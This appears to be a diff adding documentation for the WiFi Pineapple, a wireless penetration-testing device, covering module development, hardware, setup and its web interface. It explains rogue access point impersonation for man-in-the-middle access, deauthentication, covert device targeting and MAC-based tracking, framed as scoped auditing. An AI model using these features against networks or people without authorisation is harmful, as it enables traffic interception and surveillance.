+A basic module will request information through AngularJS to PHP, and then the PHP will provide a response to AngularJS, where it will then be displayed on the HTML page for the user to see.
+
+```
++-------------------+         +--------------+         +-----------+         +------+
+| AngularJS Request |   -->   | PHP Response |   -->   | AngularJS |   -->   | HTML |
++-------------------+         +--------------+         +-----------+         +------+
+```
+
+A module will contain at least four files required to function. A `module.html` that contains the HTML for the module, A `module.info` that contains the name, description, version and author of the module in JSON format, a `module.js` file inside of the `js/` folder that contains the AngularJS, and finally a `module.php` file inside of the `api/` folder. It is structured like this:
+```
+.
+├── js
+│   └── module.js
+├── module.html
+├── module.info
+└── api
+    └── module.php
+```
+
+Modules are stored on the WiFi Pineapple at `/pineapple/modules/`.
+
+##Creating a module
+You can create the module files on the WiFi Pineapple with ease using the [Module Maker](https://github.com/xchwarze/wifi-pineapple-community/tree/main/modules) module. It will create the initial files for you (with an example included), and will also allow you to package the module for distribution when you are finished.
+
+After downloading the module, enter the correct information into the Name, Description, Version and Author fields and click "Generate". Your module will then be ready to download and edit. Open the module in your favorite text editor.
+
+#### module.html
+The WiFi Pineapple modules make use of Bootstrap to provide a good mobile viewing experience and a clean look. Module developers are encouraged to make use of Bootstrap components, such as responsive tables and the grid system. To learn more about Bootstrap, visit the [Bootstrap Website](https://getbootstrap.com).
+
+In this example we will make a `div` that is the width of the webpage. To do this, we will create a row, and then our `div` element which will use the `col-md-12` Bootstrap class.
+
+Your code should look like this:
+```
+<div class="row">
+    <div class="col-md-12">
+
+    </div>
+</div>
+```
+
+As the module is written with AngularJS, the HTML must be hooked up to a controller. For more information on AngularJS, visit the [AngularJS](https://angularjs.org) website.
+
+To hook up the HTML to a controller, we will use our `div` element with the argument `ng-controller="ControllerName"`. For this example, our controller will be referred to as `ExampleController`. This div is now able to interact with your AngularJS inside of the `module.js` file.
+
+Your code should now look like this:
+```
+<div class="row">
+    <div ng-controller="ExampleController" class="col-md-12">
+
+    </div>
+</div>
+```
+
+Finally, we will use an expression called `hello`. This is done with `{{hello}}`. Later, we will use this expression to display text from our PHP. You can learn more at [AngularJS - Expression](https://docs.angularjs.org/guide/expression).
+
+Our HTML code should now look like this:
+```
+<div class="row">
+    <div ng-controller="ExampleController" class="col-md-12">
+        {{ hello }}
+    </div>
+</div>
+```
+
+#### module.js
+The module.js contains the AngularJS for your module. As described above, this is the middle "layer" between the HTML and PHP. AngularJS is a Javascript framework created by Google, and allows you to create responsive and dynamic webpages. This is useful with the WiFi Pineapple interface because it lets us update the HTML with changing content.
+
+To start, we can use a built in API function, `registerController()`. This allows us to easily create controllers for our module. An empty controller would look like this:
+```
+registerController("ExampleController", ['$api', '$scope', function($api, $scope) {
+
+}])
+```
+Here we register the name of the controller, `"ExampleController"`. Then we include our dependencies, usually the WiFi Pineapple API, with `$api` and then the scope of your module, with `$scope`.
+
+Now we will add a variable inside our scope called `hello`, like so:
+```
+registerController("ExampleController", ['$api', '$scope', function($api, $scope) {
+    $scope.hello = "Hello World!";
+}])
+```
+
+Our HTML will now output "Hello World!".
+
+We can however get dynamic data, passed from our PHP. To do this, we can use the `$api.request()` function:
+```
+registerController("ExampleController", ['$api', '$scope', function($api, $scope) {
+    $api.request({
+        module: 'ExampleModule',
+        action: 'getHello'
+    }, function(response) {
+        $scope.hello = response.text;
+    });
+}])
+```
+This will send a request to our module.php, and take its response and set `$scope.hello` to `response.text`.
+
+#### module.php
+The module.php contains all PHP code and can directly interface with other modules, talk to the Javascript and access the WiFi Pineapple API. In this guide, we will finish our Example Module by making it reply to our AngularJS request and return a string containing "Hello World!".
+
+To start, we must extend the `Module` class inside of the `pineapple` namespace. We must then add the method to handle our requests.:
+```
+<?php namespace pineapple;
+
+class ExampleModule extends Module
+{
+    public function route()
+    {
+        switch ($this->request->action) {
+            case 'getHello':
+                $this->hello();
+                break;
+            }
+    }
+}
+```
+
+This snippet of code will loop over every action it receieves from the Javascript. In our case it is `getHello`. Once it finds `getHello` it will execute a function called `hello()` that we will define next. After the route() function:
+```
+private function hello()
+{
+    $this->response = array('text' => "Hello World");
+}
+```
+
+Once this function is executed it will simply create an array with a property called text equaling "Hello World". All together, your code will look like this:
+```
+<?php namespace pineapple;
+
+class ExampleModule extends Module
+{
+    public function route()
+    {
+        switch ($this->request->action) {
+            case 'getHello':
+                $this->hello();
+                break;
+            }
+    }
+
+    private function hello()
+    {
+        $this->response = array('text' => "Hello World");
+    }
+}
+```
+Our PHP is now complete, and when the HTML is loaded, it will now display the "Hello World" string from your module.php.

+ 52 - 0
docs/hardware.md

@@ -0,0 +1,52 @@
+# Hardware
+
+The WiFi Pineapple hardware is a purpose built wireless auditing platform, combining versatile and convenient components to address the needs of the penetration tester. Please familiarize yourself with the WiFi Pineapple layout and specifications.
+
+## WiFi Pineapple NANO
+
+The ultimate WiFi pentest companion, in your pocket.
+
+### Specifications
+
+* CPU: 400 MHz MIPS Atheros AR9331 SoC
+* Memory: 64 MB DDR2 RAM
+* Disk: 16 MB ROM + Micro SD (not included. up to 200GB)
+* Wireless: Atheros AR9331 (wlan0) + Atheros AR9271 (wlan1), both IEEE 802.11 b/g/n
+* Ports: (2) RP-SMA Antenna, Ethernet over USB (ASIX AX88772A)
+* USB 2.0 Host, Micro SD card reader
+* Power: USB 5V 1.5A. Includes USB Y-Cable
+* Configurable Status Indicator LED
+* Configurable Reset Button
+
+### Power Considerations
+
+The WiFi Pineapple NANO requires 9W for stable operation under high load. This figure accounts for a 2.5W USB accessory in addition to maximum utilization of the CPU, SD card and radios. Power is provided from the male USB type A plug. A USB Y cable is provided with the WiFi Pineapple NANO.
+
+
+## WiFi Pineapple TETRA
+
+The amplified, dual-band (2.4/5 GHz) powerhouse.
+
+### Specifications
+
+* CPU: 533 MHz MIPS 74K Atheros AR9344 SoC
+* Memory: 64 MB DDR2 RAM
+* Disk: 2 GB NAND Flash
+* Wireless: Atheros AR9344 + Atheros AR9580, both IEEE 802.11 a/b/g/n with quad integrated skybridge amplifiers and included 5 dBi antenna for a high 29 dBm gain EIRP
+* Ports: (4) SMA Antenna, RJ45 Fast Ethernet, Ethernet over USB, Serial over USB, USB 2.0 Host, 12V/2A DC Power
+* Power: Requires 18W. Accepts power from any combination of sources; DC Barrel Port, USB ETH port, USB UART port. AC wall adapter for stationary deployment and USB Y cable for mobile deployment included.
+* Configurable Status Indicator LED
+* Configurable Reset Button
+
+
+### Power Considerations
+
+The WiFi Pineapple TETRA requires 18W for normal stable operation. While the device may function under minimal load with less power, system instability may occur during peak load.
+
+Power may be provided to the device by any combination of USB UART, USB ETH, or 12V DC ports. The 12V DC port accepts a standard IEC 60130-10:1971 type A connector with 5.5 mm OD, 2.1 mm ID (center positive).
+
+The UART and ETH ports on the WiFi Pineapple TETRA will accept power from combined USB sources, such as from computers, wall adapters or batteries via USB Y cables. There is no risk of providing too much power from standard 5 volt USB sources as the WiFi Pineapple TETRA will only draw as much amperage as needed.
+
+Most modern computers are capable of providing the necessary amperage from their USB ports to power the WiFi Pineapple TETRA using two USB Y cables. Older computers and many netbooks however may not provide enough continuous current for stable operation.
+
+When calculating total power in wattage, multiply the voltage and amperage. USB sources are always 5V and may vary in amperage depending on configuration. Many older USB 2.0 ports are limited to the 500mA specification while newer USB 3.0 ports can deliver 900mA and above. Typically notebook computers with USB charge ports (indicated in yellow, red or by lightning icon) will provide even higher amperage.

+ 59 - 0
docs/index.md

@@ -0,0 +1,59 @@
+# Welcome
+
+The WiFi Pineapple is more than hardware or software -- it's home to a helpful community of creative penetration testers and IT professionals. Welcome!
+
+This wiki is intended to advise newcomers to the WiFi Pineapple project on the vast intricacies of this most powerful and versatile wireless auditing platform. 
+
+As the platform evolves, this wiki will be updated from time to time.
+
+## About the WiFi Pineapple
+
+The WiFi Pineapple® NANO and TETRA are the 6th generation auditing platforms from Hak5 LLC. Thoughtfully developed for mobile and persistent deployments, they build on over 8 years of WiFi penetration testing expertise.
+
+At the core of the WiFi Pineapple is PineAP, an advanced suite of wireless penetration testing tools for reconnaissance, man-in-the-middle, tracking, logging and reporting. Utilizing our unique hardware design, PineAP is the most effective rogue access point suite available.
+
+Simplicity is key to any successful audit, which is why management of the WiFi Pineapple is conducted from an intuitive web interface. Built on modern standards for speed and responsiveness, the beautiful web interface puts the penetration tester in control from any device.
+
+As a platform, the WiFi Pineapple is home to numerous community developed modules which add features and extend functionality. Modules install free directly from the web interface in seconds. Developing modules is made straightforward with an API friendly to coders at any experience level.
+
+## The PineAP Suite
+
+PineAP is a highly effective rogue access point suite for the WiFi Pineapple. Building on the simple probe request and response nature of Karma, PineAP takes the technique to the extreme. By utilizing its purpose engineered software in conjunction with the unique multi-radio design of the WiFi Pineapple, we're able to thoroughly mimic preferred networks with precision client targeting. This sophisticated technique can be launched against key individuals or entire organizations, enabling the penetration tester to precisely orchestrate the airwaves. The end result is a man-in-the-middle position, enabling complete network traffic monitoring and control.
+
+From Bring-Your-Own-Device policy management, to remote access penetration testing - the WiFi Pineapple with PineAP is your wireless auditing solution.
+
+Any successful wireless audit begins with good situational awareness. To that end, the PineAP Recon feature provides the penetration tester with a contextual view of the WiFi landscape. Unlike traditional "war driving", whereby the auditor passively listens for beacons being advertised by Access Points to paint a picture of the surrounding WiFi landscape, the WiFi Pineapple’s Recon Mode goes one giant step further.
+
+By monitoring WiFi channels for all data activity, PineAP's Recon paints a complete picture by showing both Access Points and their respective clients in a parent-child table view. What's more, the elements of the WiFi landscape, such as SSID and Hardware address, support contextual hooks to PineAP functions and WiFi Pineapple modules. By tapping a client or access point, the penetration tester has full control of the situation. If PineAP is the ammunition, Recon is the battlefield.
+
+Respecting the scope of engagement is critical to a successful wireless audit. Limiting the penetration test to specified clients ensures zero collateral damage. PineAP on the WiFi Pineapple supports advanced filtering and targeting capabilities. With allow and deny lists for both SSID and client Hardware address, the PineAP suite prevents unwanted devices from accessing the honeypot network.
+
+Filter by single client of interest or entire organizations - all from the Recon view. In addition to filtering, PineAP is especially effective at snaring individual clients. The entire PineAP technique can be targeted towards a specific device, concealing the technique to bystanders.
+
+Central to the PineAP suite is the self named engine. It combines multiple components to deliver customized techniques. This flexibility gives the penetration tester a wide range of intelligence gathering options. From stealth monitoring to passively honeypots to active and targeted techniques, the PineAP engine is as versatile as it is powerful.
+
+Keeping tabs on the WiFi landscape is made simple with a reporting component, enabling the penetration tester to locally capture, or receive by email, automated reports at set intervals. This is especially useful for unmanned, remotely deployed WiFi Pineapple nodes. Additionally the comprehensive logging engine enables advanced analytics.
+
+Keeping tabs on client devices of interest is also within the realms of PineAP through Tracking. The advanced engine powering the PineAP Recon module enables the penetration tester to execute customized functions whenever devices of interest are seen in the vicinity.
+
+Finally, complementing the PineAP suite is a multitude of community developed modules. Available as free over the air downloads, these modules provide enhancements and additional features to the WiFi Pineapple.
+
+In conclusion, using PineAP on the WiFi Pineapple, the penetration tester is able to immediately identify, audit and analyze vulnerabilities within the wireless landscape.
+
+## Contributing to the Wiki
+
+### Thank You
+The WiFi Pineapple Wiki is brought to you by the WiFi Pineapple Team, and many other community members. As a community driven resource, the people who use and edit the wiki would be very grateful if you followed the guidelines below. This page also has tips and tricks for making your article, which would also be fabulous.
+
+All changes to the wiki can be contributed on [GitHub](https://github.com/xchwarze/wifi-pineapple-community/tree/main/docs)
+
+Thanks,
+WiFi Pineapple Team
+
+
+### Markdown
+Markdown Basics: https://help.github.com/articles/markdown-basics/
+
+Markdown Syntax: http://daringfireball.net/projects/markdown/syntax
+
+Table Generator: http://www.tablesgenerator.com/markdown_tables

+ 235 - 0
docs/management.md

@@ -0,0 +1,235 @@
+# The WiFi Pineapple Web Interface
+
+The WiFi Pineapple Web Interface provides convenient access to most WiFi Pineapple functions. It may be accessed by most modern devices (PC, Tablet, Smartphone). Officially supported web browsers include Google Chrome and Mozilla Firefox. 
+
+## Accessing the Web Interface
+
+To access the Web Interface, first connect to the WiFi Pineapple network from the host device. This may be accomplished in a number of ways, including Ethernet and WiFi. See the sections below regarding Internet Connection Sharing and Wired network settings for details.
+
+Once connected to the WiFi Pineapple network, browse to the http://172.16.42.1:1471. 
+
+Note: Be aware of the :1471 part of this URL. The WiFi Pineapple web server hosts pages on both the default port 80, as well as 1471. Port 1471 is reserved for the web interface. 
+
+Once loaded, you will be prompted to login as root with the password configured at time of setup.
+
+## Dashboard
+
+The dashboard provides an at-a-glance view of the WiFi Pineapple status, landing page browser stats, notifications and bulletins.
+
+Landing Page Browser Stats will display hits from popular web browsers when the Landing Page is enabled from Configuration. Notifications will display notifications from modules. The Bulletins feature fetches the latest project information from wifipineapple.com. 
+
+## Recon
+
+Unlike traditional War Driving, whereby the auditor passively listens for beacons being advertised by Access Points to paint a picture of the surrounding WiFi landscape, the WiFi Pineapple Recon goes one giant step further.
+
+By monitoring channels for both beacons and data activity, Recon paints a more complete picture by combining Access Points with their respective clients. With the WiFi landscape displayed in this manner, a tester can quickly identify potential targets from Recon and immediately take action.
+
+Recon allows the auditor to scan for nearby Access Points, or Access Points and their respective Clients. Clients are identified by sniffing for active traffic and are displayed underneath their parent Access Point. If a Client is associated to an Access Point but idle, it may not appear in the list. Increasing scan duration from the drop-down allows the sniffer to see more potential traffic on each channel.
+
+The SSID, MAC, Security, Channel and Signal of Access Points are displayed in the table view. Clients are listed as MAC addresses only.
+
+Clicking the menu button next to a MAC address shows a menu providing buttons to add or remove the MAC from the PineAP Filter or PineAP Tracking feature. Deauth uses the multiplier to send multiple deauthentication frames to the target Client. A multiplier of 2 is twice as many deauthentication frames as a multiplier of 1.
+
+Clicking the menu button next to an SSID shows a menu providing buttons to add or remove the SSID from the PineAP Pool or PineAP Filter. Deauth Client will send deauthentication frames to all associated clients currently recognized by Recon using the multiplier. A multiplier of 2 is twice as many deauthentication frames as a multiplier of 1.
+
+Unassociated Clients show in a unique table listed by MAC Address. These Clients have active radios, however are not associated to an Access Point.
+
+Out Of Range Clients will display in a unique table along with their relationship to their parent Access Point by MAC address only.
+
+Checking the Continuous box will enable an ongoing scan. The tables will update with the latest information from the scan duration interval until the scan is stopped.
+
+## Clients
+
+The WiFi Pineapple will allow clients to connect if Allow Associations is checked in PineAP. Connected clients will list in the Clients view along with their respective MAC Address, IP Address, the SSID to which they have connected (if Log Probes is enabled in PineAP) and Hostname. If the SSID or Hostname is unavailable it will display as such.
+
+The Kick button allows the auditor to remove a client from the WiFi Pineapple network.
+
+Clicking the menu button next to an MAC address shows a menu providing buttons to add or remove the MAC from the PineAP Filter or PineAP Tracking feature.
+
+Clicking the menu button next to an SSID shows a menu providing buttons to add or remove the SSID from the PineAP Pool or PineAP Filter.
+
+The Clients table can be updated by clicking the Refresh button.
+
+## Filters
+
+Filtering may be performed by Client MAC Address or SSID. Both Deny and Allow modes are supported and this option may be toggled using the switch button. 
+
+**Client Filtering**
+In Deny Mode, Clients with MAC Addresses listed in the Client Filter will not be able to connect to the WiFi Pineapple. In Allow Mode, only Clients with MAC Addresses listed in the Client Filter will be able to connect. When performing an audit, it is best to use Allow Mode to ensure that only clients within the scope of engagement are targeted.
+
+Client MAC Addresses and SSIDs may be added from menu buttons associated with their respective listings in Recon or Client views. 
+
+**SSID Filtering**
+In Deny Mode, clients will not be able to associate with the WiFi Pineapple if they are attempting to connect to an SSID listed in the filter. In Allow Mode, clients will only be able to associate with the WiFi Pineapple if the SSID they are attempting to connect to is listed in the filter.
+
+SSIDs may be added to the filter from the menu buttons associated with their respective listings in Recon.
+
+**Managing Filters**
+Filtered Clients and SSIDs will display in the lists. Client MAC addresses and SSIDs may be added to the list manually by using the text input field and Add button. Clicking a Client MAC or SSID will populate the text input field and clicking Remove will remove the entry from the Filter list.
+
+## PineAP
+
+PineAP is an effective, modular rogue access point suite designed to aid the WiFi auditor in collecting clients by thoroughly mimicking Preferred Networks.
+
+**Allow Associations** - when enabled, Client devices will be allowed to associate with the WiFi Pineapple through any requested SSID. E.g. If a Client device sends a Probe Request for SSID "example" the WiFi Pineapple will acknowledge the request, respond and allow the Client device to associate and connect to the WiFi Pineapple network. This feature works in conjunction with Client and SSID filtering. When disabled;clients will not be allowed to associate. Formerly named Karma.
+
+**Log Probes** - when enabled, Client device Probe Requests will be logged. This feature provides information for analysis from the Logging view. 
+
+**Log Associations** - when enabled, Client Associations to the WiFi Pineapple will be logged. This feature provides information for analysis from the Logging view. If disabled, Associations will not be logged and may not appear in the SSID column from the Clients view. 
+
+**PineAP Daemon** - This daemon must be enabled in order to use the Beacon Response, Capture SSIDs to Pool and Broadcast SSID pool features. The PineAP Daemon will coordinate the appropriate actions based on Source and Target MAC settings as well as the Beacon Response and SSID Broadcast intervals. This feature requires access to wlan1 and cannot be used in conjunction with WiFi Client Mode if wlan1 is used. PineAP Daemon must be enabled and PineAP Settings must be saved before the associated features will be available.
+
+**Beacon Response** - when enabled, targeted beacons will be transmitted to Client devices in response to a Probe Request with the appropriate SSID. These beacons will not be transmitted to broadcast, but rather specifically to the device making the probe request. This prevents the beacon from being visible to other devices. If Allow Associations is enabled and the Client device associates with the WiFi Pineapple, then targeted Beacon Responses will continue to transmit to the Client device for a period of time. Beacon Responses will use the Source MAC setting, which is also shared with the Broadcast SSID Pool feature.The Beacon Response Interval will dictate how frequently to transmit.
+
+**Capture SSIDs to Pool** - when enabled, the sniffer will save the SSID data of captured Probe Requests to the SSID Pool. This passive feature benefits the Broadcast SSID Pool feature. The SSID Pool may also be managed manually.
+
+**Broadcast SSID Pool** - when enabled, the SSID Pool will be broadcast as beacons using the Source MAC and Target MAC settings at the interval specified. Formerly named Dogma.
+
+**Source MAC** - by default, this is the MAC address of wlan0 on the WiFi Pineapple. This is the interface for which associations may be allowed and also hosts the Management Access Point. The MAC address of wlan0 may be changed from the Networking view. This MAC address may be set to that of a secondary WiFi Pineapple if desired.
+
+**Target MAC** - by default, this is the broadcast MAC address FF:FF:FF:FF:FF:FF. Frames transmitted to broadcast will be seen by all nearby Client devices. Setting the Client MAC address will target PineAP features at the single device. Similar to Beacon Response, only SSIDs Broadcast from the Pool will be visible to the targeted Client device. When used in conjunction with Filtering, this feature enables precision device targeting.
+
+**Broadcast SSID Pool Interval** - Specifies the Interval in which to Broadcast SSIDs from the Pool. Aggressive requires more CPU usage while Lower requires less.
+
+**Beacon Response Interval** - Specifies the Interval in which to transmit Beacon Responses. Aggressive requires more CPU usage while Lower requires less.
+
+**Save as Default on Boot** - From the Configuration menu, Saving as the Default on Boot will remember the saved PineAP features and settings for use on next boot.
+
+**SSID Pool** - populated automatically when the Capture SSID Pool feature is enabled. May also be added to manually using the text field and Add button. Similarly, clicking a listed SSID will populate the text field allowing for the removal of the entry using the Remove button. From the SSID Pool Menu, Clear SSID Pool will remove all entries.
+
+## Tracking
+
+The tracking feature will continuously scan for specified Clients by MAC address and execute a customizable Tracking Script. This feature requires the Log Probes and/or Log Associations features of PineAP to be enabled. 
+
+Clients may be specified manually using the text field and add button. Clients may also be added to the Client Tracking List by using the PineAP Tracking Add MAC button from an associated MAC address within the Clients view or Recon view. Selecting a MAC address from the Client Tracking List will populate the text field for removal using the Remove button. 
+
+When a client is identified by a logged Probe or Association, the customizable Tracking Script will execute. The Tracking Script defines variables for the Client MAC address, the identification type (Probe or Association) and the SSID with which the Client is Probing or Associating.
+
+## Logging
+
+The Logging view displays the PineAP Log, System Log, Dmesg and Reporting Log.
+
+**PineAP Log** - chronologically displays PineAP events if Log Probes and/or Log Associations are enabled. Each event contains a timestamp, event type (Probe Request or Association), the MAC address of the Client device, and the SSID for which the device is Probing or Associating.
+
+**PineAP Log Filtering**
+The Display Probes and Display Associations checkboxes enable the auditor to toggle the display of Probes or Associations. The Remove Duplicates checkbox will remove any duplicate entry, regardless of timestamp. For example, if a Client transmits a Probe Request for SSID "example" 10 times in 1 hour, checking the Remove Duplicates box will show only the first entry.
+
+Filtering by MAC address and SSID is supported by completing the associated text fields. For example, if de:ad:be:ef:c0:fe is input in the MAC text field, only that Client device activity will show in the PineAP Log. Similarly the Log may be filtered by SSID.
+
+Filters do not apply until the Apply Filter button is pressed. Clear Filter will reset to the default and display all captured data. Refresh Log will obtain the latest log data from PineAP and Clear Log will empty the Log File. By default the comma tab delimited PineAP log is located in /tmp and will not be saved after a reboot.
+
+## Reporting
+
+This feature enables the auditor to generate reports at a specified interval. The report may be sent via email and/or saved locally on a suitable SD card (NANO only). See the Format SD Card option from the USB menu on the Advanced view to setup a new card. Email Configuration must be complete in order for the Send Report via email function to operate successfully. 
+
+The Report Contents may contain: the PineAP Log with an option to clear after generating the report, a PineAP Site Survey similar to the Recon View with option to specify AP & Client scan duration, and PineAP Probing and Tracked Clients. 
+
+## Networking
+
+From the Networking view, the auditor may make changes to the Routing, Access Point, MAC Addresses, Hostname and connect to an Access Point using WiFi Client Mode.
+
+**Route** - the Kernel IP routing table is displayed and may be modified for the selected interface. The Route menu enables the auditor to Restart DNS. By default the expected Default Gateway is 172.16.42.42. When using the WiFi Pineapple Connector Android app, IP routing will automatically update to use usb0 as the default gateway.
+
+**Access Point** - The WiFi Pineapple primary open access point and management access point may be configured. Both the open and management access point share the same channel. The open access point may be hidden and the management access point may be disabled.
+
+**WiFi Client Mode** - this feature enables the auditor to connect the WiFi Pineapple to another wireless access point for Internet or local network access. When using WiFi Client Mode, the IP routing will automatically update to use the selected interface. The WiFi Pineapple can be used with a number of supported USB WiFi adapters to add a third (wlan2) interface. wlan0 is reserved for use by the Access Point and wlan1 is required by PineAP and cannot be used if the PineAP Daemon and its subsequent features are being used. 
+
+To connect to a nearby Access Point, select the desired Interface and click Scan. From the Access Point list, choose the desired network, enter the Passphrase (if required) and click Connect. Once connected the WiFi Pineapple IP address will display and the Default Route will update to that of the newly connected network. Click Disconnect to end the connection.
+
+**MAC Address** - The Current MAC address for the selected interface will display. A New MAC address may be specified manually, or set randomly using the New MAC text field and Set New MAC or Set Random MAC buttons. MAC Addresses may be reset to default from the MAC Address menu button. Changing MAC addresses may disconnect connected clients from the WiFi Pineapple.
+
+**Advanced** - The Hostname may be updated using the hostname text field and Update Hostname button. Wireless configuration may be reset using the Reset WiFi Config to Defaults option from the Advanced menu button. The output of ifconfig is displayed.
+
+##Configuration
+
+The Configuration view provides the auditor with means to set general settings and modify the landing page. 
+
+**General** - Timezone settings is displayed and may be manually selected. The system password may be set. The WiFi Pineapple may be rebooted or reset to factory defaults from the General menu button.
+
+**Landing Page** - when enabled, this feature will act as a captive portal. New clients connecting to the WiFi Pineapple will be forwarded to this landing page. Some client devices will automatically launch a browser to this page upon connection. Landing page browser stats will display on the dashboard. PHP and HTML are accepted. The Landing Page may only display if the WiFi Pineapple has an Internet connection.
+
+## Advanced
+
+The Advanced view provides the auditor with information on system resources, USB devices, file system table, CSS and the ability to upgrade the WiFi Pineapple firmware.
+
+**Resources** - displays file system disk usage and memory. From the Resources menu button Page Caches may be dropped.
+
+**USB** - displays connected USB peripherals and allows the auditor to set the file system table (fstab). SD cards may be formatted from the USB menu button (NANO Only).
+
+**CSS** - The WiFi Pineapple Web Interface stylesheet may be modified.
+
+**Firmware Upgrade** - displays current firmware version and allows the auditor to check for updates. This requires an Internet connection and will initiate a connection to WiFiPineapple.com. If an update is available, the changelog will display and the option to Perform Upgrade will be available. Users are advised to carefully read the warnings related to the firmware upgrade feature.
+
+## Firmware Upgrade Warning
+
+Firmware upgrades replace all data (excluding external storage such as SD card or USB). Please ensure any important non-system data has been backed up.
+
+Please stop any unnecessary services and modules before upgrading. Restarting the WiFi Pineapple without starting additional services and modules is recommended to ensure extra processes have been halted properly.
+
+Upgrading firmware should only be done while using a stable power source. An Ethernet connection to the WiFi Pineapple is recommended for this process.
+
+Once the firmware upgrade has completed the WiFi Pineapple will reboot into an initial setup state. This process will take several minutes. Do not interrupt the upgrade process by unplugging power or closing the web interface as this may result in a soft-brick state.
+
+## Modules
+
+The WiFi Pineapple is designed to be as modular as possible. Most sections of the web interface are in fact modules, which may be updated from time to time. In addition to the system modules included with the WiFi Pineapple, such as Recon, Clients and PineAP, the WiFi Pineapple supports community developed modules.
+
+These community developed modules extend functionality by using the WiFi Pineapple API. Anyone can develop for the WiFi Pineapple using this API (learn more at wifipineapple.com) 
+
+System and Community modules come in two varieties - GUI (web interface) and CLI (console). GUI modules will show in the web interface under the Modules menu. CLI modules may be managed using the module command from the console. 
+
+Modules may be managed (Downloaded, updated, deleted) from the **Module Manager** section of the web interface.
+
+Community developed modules are not required for successful operation of the WiFi Pineapple and come as-is with no warranty. Support is community driven and may be found from a modules section on the WiFi Pineapple forums. https://www.wifipineapple.com/forum
+
+Note: Module installation on the WiFi Pineapple NANO is recommended only to an external Micro SD card.
+
+# Console Access
+
+The WiFi Pineapple platform is built on the OpenWRT distribution of the popular GNU/Linux ("Linux") operating system. Accessing the Linux console may provide the penetration tester with a familiar environment as both busybox (/bin/sh) and bash (/bin/bash) are included. Furthermore, packages may be installed from the opkg package management system. 
+
+Note: (NANO) after running opkg update, install packages to the Micro SD card using the --dest parameter. Example: opkg --dest sd install nmap
+
+Two WiFi Pineapple specific commands are provided to interface with PineAP and installed modules which support CLI functions: pineapple and module
+
+## Secure Shell
+
+The most common way to access the WiFi Pineapple console is via Secure Shell (SSH). SSH clients are preinstalled on most Linux and Mac systems. Windows users are advised to download a SSH utility such as the popular PuTTY client. Android users may also find compatible SSH clients from Google Play.
+
+To connect to the WiFi Pineapple console over SSH, first connect to the WiFi Pineapple network from your host device. Once connected, ssh to the WiFi Pineapple IP address (default: 172.16.42.1) with the username root and password configured on setup. This is the same password as used to access the web interface. The SSH service on the WiFi Pineapple operates at the default port 22. 
+
+Example: 
+> ssh root@172.16.42.1
+
+
+## Serial
+
+This section applies only to the WiFi Pineapple TETRA.
+
+Convenient access to the WiFi Pineapple TETRA serial console is provided by its USB UART port. From this console you can access the WiFi Pineapple command line, which is useful for operation from the CLI commands pineapple and module.
+
+### Linux Hosts 
+When connected to a Linux host PC via USB cable, the device will enumerate as a usbserial device. After connecting the USB cable, check the output of dmesg | grep tty to determine the device name. It will typically enumerate as ttyUSB0.
+
+From your preferred console, access the serial device using the following settings:
+
+> flowcontrol: none
+> baudrate: 115200
+> parity: none
+> databits: 8
+> stopbit: 1
+
+For example, with picocom execute picocom -b 115200 /dev/ttyUSB0 or screen execute 
+> screen /dev/ttyUSB0 115200.
+
+Once connected you must press ENTER to activate the console. Login as root with the password configured at setup.
+
+### Windows Hosts 
+When connecting to a Windows hosts, open Device Manager and check for the new USB Serial Port (COM#) device under Ports (COM & LPT). Then using PuTTY, select Serial under Connection Type, enter the COM# under Serial Line and 115200 under Speed and click Open.
+http://www.putty.org/
+
+Once connected you must press ENTER to activate the console. Login as root with the password configured at setup.
+
+Note: If Windows does not automatically install the Microsoft WHQL serial driver from Windows Update, you may download it from FTDI.
+http://www.ftdichip.com/Drivers/D2XX.htm
+

+ 31 - 0
docs/readme.md

@@ -0,0 +1,31 @@
+# WiFi Pineapple Wiki
+
+Welcome to the WiFi Pineapple Wiki! This repository contains comprehensive documentation for the WiFi Pineapple, a versatile wireless penetration testing platform.
+
+## Table of Contents
+
+- [Home](index.md)
+- [Hardware](hardware.md)
+- [Setup](setup.md)
+- [Management](management.md)
+- [Connectivity](connectivity.md)
+- [Videos](videos.md)
+- [Development](#development)
+    - [Creating Modules](creating_modules.md)
+    - [API](api.md)
+- [Troubleshooting](troubleshooting.md)
+
+## Development
+
+If you are interested in developing for the WiFi Pineapple or extending its functionality, this section provides valuable resources:
+
+- [Creating Modules](creating_modules.md): Learn how to create modules for the WiFi Pineapple and enhance its capabilities.
+- [API](api.md): Explore the API documentation for the WiFi Pineapple and leverage it in your development projects.
+
+## Troubleshooting
+
+Encountering issues with your WiFi Pineapple? Don't worry! The troubleshooting section is here to help you troubleshoot common problems and find solutions.
+
+Please refer to the individual markdown files for detailed information on each topic.
+
+We hope you find this documentation useful. Happy hacking with your WiFi Pineapple!

+ 65 - 0
docs/setup.md

@@ -0,0 +1,65 @@
+# Setup
+These setup guides are intended to outline the process of installing the latest software on the WiFi Pineapple. Setup may be completed from any modern operating system with Internet access and a web browser (since you're reading this, it's safe to assume you have both).
+
+The basic setup process is to download the latest firmware, connect the WiFi Pineapple to the host device, browse to the WiFi Pineapple web interface from the host device and follow the on-screen instructions to complete the firmware flashing process. For convenience, instructions and videos are provided for for common operating systems.
+
+## Initial Setup Security
+
+For security purposes, during the setup process you will be prompted to press the reset button. We recommend performing the setup with the WiFi Pineapple radios disabled.
+
+If you are not connected to the WiFi Pineapple over WiFi for initial setup, you are requested to press the reset button momentarily to disable the radios.
+
+If you must proceed with initial setup over WiFi, you will be requested to hold the reset button for 3 or more seconds to continue. 
+
+The Reset button is located on the underside of the WiFi Pineapple NANO and on the back of the WiFi Pineapple TETRA.
+
+## WiFi Pineapple NANO
+
+We advise connecting the WiFi Pineapple NANO to a stable USB power supply capable of providing 9W for initial setup. When connecting to a PC, use the included USB Y cable. This setup process will require 5-10 minutes. Video tutorials for setup can be found from https://www.wifipineapple.com/pages/setup
+
+### Android
+
+1. Download the latest WiFi Pineapple NANO firmware
+    https://www.wifipineapple.com/downloads
+2. Install the WiFi Pineapple Connector app for Android
+    https://play.google.com/store/apps/details?id=org.hak5.pineappleconnector
+3. Power on the NANO using the supplied USB Y cable
+4. Connect the NANO to the Android with a USB data cable
+5. Open the WiFi Pineapple Connector Android app
+6. Tap to configure USB Tethering, then tap back to return to the connector
+7. When prompted, tap Begin Setup to launch the NANO setup page.
+8. Follow the onscreen instructions to complete setup
+
+### Windows / Linux
+
+1. Download the latest WiFi Pineapple NANO firmware
+    https://www.wifipineapple.com/downloads
+2. Plug the NANO into your computer using the included USB Y cable
+3. Browse to http://172.16.42.1:1471
+4. Follow the onscreen instructions to complete setup
+
+## WiFi Pineapple TETRA
+
